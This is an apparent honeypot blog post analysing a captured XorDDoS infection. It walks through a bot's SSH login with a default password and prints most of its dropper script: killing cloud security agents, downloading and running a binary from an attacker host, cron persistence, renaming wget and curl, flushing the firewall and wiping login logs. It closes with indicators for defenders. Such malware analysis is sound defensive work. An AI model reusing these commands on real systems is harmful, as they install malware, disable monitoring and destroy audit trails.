XorDDoS · Chapter 1
Someone brought their malware to my house
I keep a honeypot in some corner of the network. Most of it is noise: scanners that look and leave. Until one got in, decided it was the administrator, and pushed its critter up through the service door.
A honeypot is a decoy: a machine that pretends to be vulnerable so it gets attacked, letting you see what they try and how. Mine has spent days soaking up the background traffic of the internet — tens of thousands of probes a day, almost all automated and charmless: "got an open port? left your .env lying around?". They look and move on.
But a well-placed decoy doesn't just count how many knock at the door. Every so often, one gets in — and that's where it gets interesting. This is the dissection of one of those: from the login to the binary, by way of the infection script, which is a small piece of grubby craftsmanship.
01The catch
The SSH decoy accepts weak passwords on purpose (that's the whole point). The attacker wasn't a person typing: it was a bot, and its sequence was mechanical and fast.
- 0.0sConnects to port 22 and tries root : ubnt — "ubnt" is the factory password of Ubiquiti gear (for its ubnt account; the bot recycles it against root). The decoy lets it in.
- 1.2sNo greeting, no poking around. Pastes a shell script of ~50 lines in one go and runs it.
- 61sSince wget didn't work for it on the decoy, it uploads the binary directly over SFTP — with a random name, skhqwensw — and tries to launch it (/bin/skhqwensw). It fails (the decoy doesn't really execute), but the sample is already mine.
From login to disconnect, the whole session: 62 seconds (the last event lands at 61; the hangup, a second later). And that script pasted at second 1 is the heart of everything. Let's go line by line.
02The script, laid bare
A single shell command that does the lot: it finds somewhere to install itself, blinds the machine's security, downloads its binary to match the architecture, sabotages the competition and wipes its tracks. I've formatted it so it's readable, but the logic is exactly as it came.
Find a place where it can write and execute
Not just any folder will do: plenty of machines mount /tmp as noexec. So it tries several and checks it can actually execute, not just write.
# try /dev/shm, /tmp, /var/tmp, /home, /root
for i in "/dev/shm" "/tmp" "/var/tmp" "/home" "/root"; do
touch "$i/test_exec"; chmod +x "$i/test_exec"
if [ -w "$i" ] && [ -x "$i/test_exec" ]; then
wdir="$i"; rm -f "$i/test_exec"; break
fi
done; cd "$wdir" || exit 1Blind the (Chinese) cloud agents
This is where the target gives itself away: it kills the security agents of Alibaba Cloud (aegis/AliYunDun) and Tencent Cloud (YDService/tat_agent). It's going after servers in the Chinese cloud and switching off their monitoring so it can mine/attack without tripping any alarm or the usage alert.
for svc in aegis aliyun YDService tat_agent; do
systemctl stop $svc; systemctl disable $svc; systemctl mask $svc
done
chattr -R -i -a /usr/local/aegis/ # strip the immutable flag...
chattr -R -i -a /usr/local/qcloud/ # ...so they can be deleted
pkill -9 AliYunDun; pkill -9 YDService
rm -rf /usr/local/aegis /usr/local/qcloudDownload the binary to match the architecture
It passes uname -m to its own server, which returns the right binary for that CPU (x86, ARM, MIPS…). And it tries six methods in cascade so it doesn't fail — including good and cool, which are its own wget/curl renamed (see stage E).
arch=$(uname -m)
url="hxxp://169.239.130[.]20/new.php?type=${arch}"
# try in order until one fetches the file:
wget -q -T 30 "$url" -O new.txt ||
curl -skL -m 30 "$url" -o new.txt ||
good -q -T 30 "$url" -O new.txt || # = its renamed wget
cool -skL -m 30 "$url" -o new.txt || # = its renamed curl
python3 -c "import urllib.request;urllib.request.urlretrieve('$url','new.txt')" ||
python -c "import urllib;urllib.urlretrieve('$url','new.txt')"
chmod +x new.txt
setsid "./new.txt" & # setsid = survives the session closingThree nuances to this infection phase: setsid detaches the process from the SSH session, so it stays alive even if the attacker closes the connection; if the file won't start as a binary, it retries it as a script (sh ./new.txt); and when no download method works — as on my decoy, which has no real wget — it has a plan B: push the binary itself over SFTP. That last resort is, ironically, what handed me the sample. Before all this it also checks a "lock" (/var/run/gcc.pid): if it's already running, it doesn't reinfect.
Persistence disguised as "gcc"
To survive reboots it nails down a cron every 3 minutes and installs itself as a boot service. It uses the name gcc as cover — a classic trait of the XorDDoS family.
echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab
# + copies itself as init.d / rc.d (chkconfig, update-rc.d)Sabotage the competition
The cleverest trick in the script: it renames wget→good and curl→cool. From then on, any other botnet that tries wget http://… to infect the same box fails — but this bot keeps downloading with the new names. Territory marked.
mv $(which wget) $(dirname $(which wget))/good
mv $(which curl) $(dirname $(which curl))/coolLower the drawbridge and wipe the tracks
First it disarms the defense: it stops firewalld/ufw and runs iptables -F (flushes all the rules), so nothing gets in the way of the conversation with the C2. Then it cleans up its access trail.
systemctl stop firewalld ufw; iptables -F # the firewall comes down
for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do
echo > "$log" # EMPTIES the file (doesn't delete it)
doneEach of those three files is a logbook of system access, and wiping them blinds the tools an administrator would use to check "who's been in?":
- /var/log/wtmp — the successful logins (it's what the last command reads).
- /var/log/btmp — the failed logins (lastb).
- /var/log/lastlog — each user's most recent access.
The fine detail: it uses echo > file, which empties it, instead of rm, which would delete it. Why? Deleting the file would break the record and draw attention; leaving it in place but blank is subtler. After this, an admin's last returns nothing: as if nobody had ever logged in. What this script does not touch is /var/log/auth.log — an oversight of its own that would leave a trace of the SSH.
03The specimen
The binary it uploaded over SFTP.
XorDDoS
Inside, among the strings, is the whole DNA of a denial-of-service bot: GET/POST HTTP templates for flooding (with a fake Chinese User-Agent), its C2 configuration hidden behind an XOR table, and the gcc.sh persistence paths we already saw in the script. The Alpine + clang fingerprint is uncommon and is useful for grouping future samples from the same author.
04Who was behind it?
Only passive intelligence — third-party databases that already know those IPs. At no point is the attacker's machine touched: that would already be crossing to the other side.
Two servers touched this catch — the one that did the login and pasted the script, and the one serving the binaries — both on abuse-tolerant "offshore" hosting (cheap, disposable VPSes, not innocent victims). And one detail that teaches a lot: the distribution server — the one handing out the binary — is invisible to scan-based reputation feeds (GreyNoise "hasn't observed it") — because a server like that doesn't scan: it sits still, serving the critter to whoever comes for it. My honeypot caught it red-handed; the global databases have no idea. Moral: you need several sources.
05Indicators (IOCs)
Indicators from this catch — ready to block, hunt or report.
| Type | Value |
|---|---|
| SHA-256 | 6f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638 |
| Distribution | hxxp://169.239.130[.]20/new.php |
| Credential | root : ubnt (Ubiquiti factory password) |
| Persistence | /etc/cron.hourly/gcc.sh · /var/run/gcc.pid · cron */3 |
| Renamed | wget→good · curl→cool |
| Build fingerprint | Alpine clang 17.0.6 / LLD 17.0.6 |
To be continued — this critter's C2 is still encrypted inside the binary; I gut it with Ghidra in the next installment. And the decoy stays lit, waiting for the next one. 🍯
Comments